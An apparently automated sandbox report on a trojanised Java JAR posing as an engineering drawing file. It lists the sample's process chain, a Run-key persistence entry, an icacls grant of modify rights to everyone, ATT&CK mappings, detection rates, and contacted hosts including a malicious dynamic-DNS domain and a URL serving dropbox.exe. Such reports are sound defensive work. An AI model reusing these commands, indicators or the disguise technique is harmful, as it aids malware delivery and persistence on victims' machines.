Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Code function: 8_3_14B4F7E3 push edx; retf	8_3_14B4F912
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Code function: 8_3_14B4F8DB push edx; retf	8_3_14B4F912
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Code function: 8_3_14B4F9C4 push edx; retf	8_3_14B4F9EA
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Code function: 8_3_14B4F12B push edx; retf	8_3_14B4F13A
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Code function: 8_3_14B4F22B push edx; retf	8_3_14B4F2A2
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Code function: 8_3_14B4F32B push edx; retf	8_3_14B4F3D2
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Code function: 8_3_14B4FF17 push edx; retf	8_3_14B4FF5A
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Code function: 8_3_14B5031A push edx; retf	8_3_14B5035A
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Code function: 8_3_14B4FE07 push edx; retf	8_3_14B4FE1A
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Code function: 8_3_14B5050D push edx; retf	8_3_14B50512
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Code function: 8_3_14B4F60E push edx; retf	8_3_14B4F67A

Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run dropbox			Jump to behavior
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run dropbox			Jump to behavior

Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe

Process created: C:\Windows\SysWOW64\icacls.exe C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M

Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe

Code function: 4_2_023DF3FD sldt word ptr [eax]

4_2_023DF3FD

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: javaw.exe, 00000008.00000003.330513244.0000000014AC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: com/sun/corba/se/impl/util/SUNVMCID.classPK
Source: javaw.exe, 00000008.00000003.330513244.0000000014AC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &com/sun/corba/se/impl/util/SUNVMCID.classPK
Source: java.exe, 00000004.00000002.305736667.0000000000D95000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.570219821.0000000002710000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.570156946.0000000000F40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ,java/lang/VirtualMachineError
Source: java.exe, 00000004.00000002.305736667.0000000000D95000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.570219821.0000000002710000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.570156946.0000000000F40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \|[Ljava/lang/VirtualMachineError;
Source: javaw.exe, 00000008.00000002.605990349.0000000015641000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000003.342490426.0000000015632000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: KhGFST
Source: javaw.exe, 00000008.00000003.330513244.0000000014AC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: org/omg/CORBA/OMGVMCID.classPK
Source: java.exe, 00000004.00000003.298073982.0000000014954000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000003.305604640.0000000014E66000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000003.330513244.0000000014AC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: java/lang/VirtualMachineError.classPK

Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe

Memory protected: page read and write | page guard

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\7za.exe 7za.exe x -y -oC:\jar "C:\Users\user\Desktop\DWG Material, Standard BS 4360 GR. 40A43A.jar"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe java.exe -jar "C:\Users\user\Desktop\DWG Material, Standard BS 4360 GR. 40A43A.jar" de	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Process created: C:\Windows\SysWOW64\icacls.exe C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe	Process created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw" -jar "C:\Users\user\AppData\Local\Temp\dropbox2770489606841359802.jar	Jump to behavior

Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	11 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Exploitation for Client Execution	1 Services File Permissions Weakness	1 Registry Run Keys / Startup Folder	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	1 Services File Permissions Weakness	1 Disable or Modify Tools	Security Account Manager	1 Remote System Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	11 Process Injection	NTDS	2 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	13 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Services File Permissions Weakness	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
DWG Material, Standard BS 4360 GR. 40A43A.jar	35%	ReversingLabs	ByteCode-JAVA.Trojan.Generic
DWG Material, Standard BS 4360 GR. 40A43A.jar	25%	Virustotal		Browse
DWG Material, Standard BS 4360 GR. 40A43A.jar	18%	Metadefender		Browse

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
bestsuccess.ddns.net	14%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://crl.chambersign.org/chambersroot.crl0	0%	URL Reputation	safe
http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl0	0%	URL Reputation	safe
http://cps.chambersign.org/cps/chambersroot.html0	0%	URL Reputation	safe
http://www.chambersign.org1	0%	URL Reputation	safe
https://ocsp.quovadisoffshore.com	0%	URL Reputation	safe
http://crl.securetrust.com/STCA.crl0	0%	URL Reputation	safe
http://www.certplus.com/CRL/class3P.crl0	0%	URL Reputation	safe
http://www.certplus.com/CRL/class2.crl0	0%	URL Reputation	safe
http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl	0%	URL Reputation	safe
https://ocsp.quovadisoffshore.com0	0%	URL Reputation	safe
http://www.chambersign.org	0%	URL Reputation	safe
http://policy.camerfirma.com0	0%	URL Reputation	safe
http://crl.xrampsecurity.com/XGCA.crl	0%	URL Reputation	safe
http://www.certplus.com/CRL/class2.crl	0%	URL Reputation	safe
http://bugreport.sun.com/bugreport/	0%	URL Reputation	safe
http://cps.chambersign.org/cps/chambersroot.html	0%	URL Reputation	safe
http://www.certplus.com/CRL/class3P.crl	0%	URL Reputation	safe
http://crl.securetrust.com/STCA.crl	0%	URL Reputation	safe
http://crl.xrampsecurity.com/XGCA.crl0	0%	URL Reputation	safe
http://www.quovadis.bm	0%	URL Reputation	safe
http://www.quovadis.bm0	0%	URL Reputation	safe
http://crl.chambersign.org/chambersroot.crl	0%	URL Reputation	safe
http://policy.camerfirma.com;mU	0%	Avira URL Cloud	safe
https://index.from.sh/pages/game.html	0%	Virustotal		Browse
http://www.quovadis.bm8	0%	Avira URL Cloud	safe
http://www.quovadis.bmP	0%	Avira URL Cloud	safe
http://www.quovadis.bmC	0%	Avira URL Cloud	safe
http://www.certplus.com/CRL/class3P.crl;	0%	Avira URL Cloud	safe
https://index.from.sh/pages/game.html	0%	Avira URL Cloud	safe
http://policy.camerfirma.comK	0%	Avira URL Cloud	safe
http://policy.camerfirma.comR	0%	Avira URL Cloud	safe
http://policy.camerfirma.comP	0%	Avira URL Cloud	safe
http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl00	0%	Avira URL Cloud	safe
http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crlC	0%	Avira URL Cloud	safe
http://www.certplus.com/CRL/class2.crl3	0%	Avira URL Cloud	safe
http://www.certplus.com/CRL/class2.crl;	0%	Avira URL Cloud	safe
http://cps.chambersign.org/cps/chambersroot.html#6	0%	Avira URL Cloud	safe
http://policy.camerfirma.comSR	0%	Avira URL Cloud	safe
http://cps.chambersign.org/cps/chambersroot.htmlK	0%	Avira URL Cloud	safe
https://ocsp.quovadisoffshore.com3	0%	Avira URL Cloud	safe
http://www.certplus.com/CRL/class2.crlC	0%	Avira URL Cloud	safe
http://crl.xrampsecurity.com/XGCA.crlC	0%	Avira URL Cloud	safe
http://www.certplus.com/CRL/class2.crlH	0%	Avira URL Cloud	safe
http://www.quovadis.bmcL	0%	Avira URL Cloud	safe
http://www.certplus.com/CRL/class3P.crlc	0%	Avira URL Cloud	safe
http://www.certplus.com/CRL/class2.crlk	0%	Avira URL Cloud	safe
http://www.quovadis.bm#	0%	Avira URL Cloud	safe
http://policy.camerfirma.coms	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bestsuccess.ddns.net	194.5.98.141	true	true	14%, Virustotal, Browse	unknown
f0719949.xsph.ru	141.8.192.151	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://f0719949.xsph.ru/dropbox.exe	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://repository.swisssign.com/31	java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.quovadis.bmC	javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://policy.camerfirma.com;mU	javaw.exe, 00000007.00000002.574239407.0000000004AEB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://index.from.sh/pages/game.html	javaw.exe, 00000007.00000002.574586002.0000000004B29000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000003.317832943.00000000158F5000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000003.343297388.000000001565A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000003.342490426.0000000015632000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000003.343454812.0000000015671000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.574202664.0000000004729000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crl.chambersign.org/chambersroot.crl0	java.exe, 00000004.00000002.309089275.00000000048CC000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl0	java.exe, 00000004.00000002.309089275.00000000048CC000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.quovadis.bm8	javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://repository.swisssign.com/;/	java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://cps.chambersign.org/cps/chambersroot.html0	java.exe, 00000004.00000002.309089275.00000000048CC000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://f0719949.xsph.ru	javaw.exe, 00000007.00000002.574239407.0000000004AEB000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.573961252.0000000004703000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.chambersign.org1	java.exe, 00000004.00000002.309089275.00000000048CC000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.573967850.0000000004AB8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.certplus.com/CRL/class3P.crl;	java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.quovadis.bmP	javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://repository.swisssign.com/0	java.exe, 00000004.00000002.309089275.00000000048CC000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.573636221.0000000004A61000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577933945.0000000004D75000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.572803724.0000000004615000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.577733501.0000000004968000.00000004.00000800.00020000.00000000.sdmp	false		high
http://policy.camerfirma.comK	javaw.exe, 00000007.00000002.574239407.0000000004AEB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://policy.camerfirma.com	javaw.exe, 00000007.00000002.574239407.0000000004AEB000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.573927118.00000000046F9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://repository.swisssign.com/3	javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ocsp.quovadisoffshore.com	javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.securetrust.com/STCA.crl0	java.exe, 00000004.00000002.309089275.00000000048CC000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.573636221.0000000004A61000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577933945.0000000004D75000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.577733501.0000000004968000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://policy.camerfirma.comR	javaw.exe, 00000007.00000002.574239407.0000000004AEB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://policy.camerfirma.comP	javaw.exe, 00000007.00000002.574239407.0000000004AEB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.certplus.com/CRL/class3P.crl0	java.exe, 00000004.00000002.309089275.00000000048CC000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.quovadis.bmc	java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.certplus.com/CRL/class2.crl3	javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cps.chambersign.org/cps/chambersroot.html#6	java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://policy.camerfirma.comSR	java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.certplus.com/CRL/class2.crl0	java.exe, 00000004.00000002.309089275.00000000048CC000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://cps.chambersign.org/cps/chambersroot.htmlK	java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.quovadisglobal.com/cps0	java.exe, 00000004.00000002.309089275.00000000048CC000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	false		high
http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crlC	javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://repository.swisssign.com/h	javaw.exe, 00000008.00000002.572803724.0000000004615000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.certplus.com/CRL/class2.crl;	javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl00	javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl	javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ocsp.quovadisoffshore.com3	java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.certplus.com/CRL/class2.crlC	java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ocsp.quovadisoffshore.com0	java.exe, 00000004.00000002.309089275.00000000048CC000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://repository.swisssign.com/	javaw.exe, 00000008.00000002.572803724.0000000004615000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.chambersign.org	java.exe, 00000004.00000002.310175474.0000000009B37000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://policy.camerfirma.com0	java.exe, 00000004.00000002.309089275.00000000048CC000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.575563501.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.577933945.0000000004D75000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.574239407.0000000004AEB000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.577733501.0000000004968000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.573079200.000000000464F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.certplus.com/CRL/class2.crlH	javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.xrampsecurity.com/XGCA.crlC	java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.xrampsecurity.com/XGCA.crl	java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.583812456.000000000A525000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.quovadis.bmcL	java.exe, 00000004.00000002.306783504.000000000461D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.certplus.com/CRL/class3P.crlc	java.exe, 00000004.00000002.306527589.00000000044A9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.certplus.com/CRL/class2.crl	javaw.exe, 00000008.00000002.575159308.00000000047D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.583926196.000000000A125000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://bugreport.sun.com/bugreport/	javaw.exe, 00000008.00000002.573961252.0000000004703000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.581306279.0000000009F86000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://java.oracle.com/	java.exe, 00000004.00000002.309464085.00000000099A0000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000004.00000002.306466977.0000000004464000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.581281577.000000000A38A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000007.00000002.574239407.0000000004AEB000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.581338803.0000000009F8A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000008.00000002.573961252.0000000004703000.00000004.00000800.00020000.00000000.sdmp	false		high
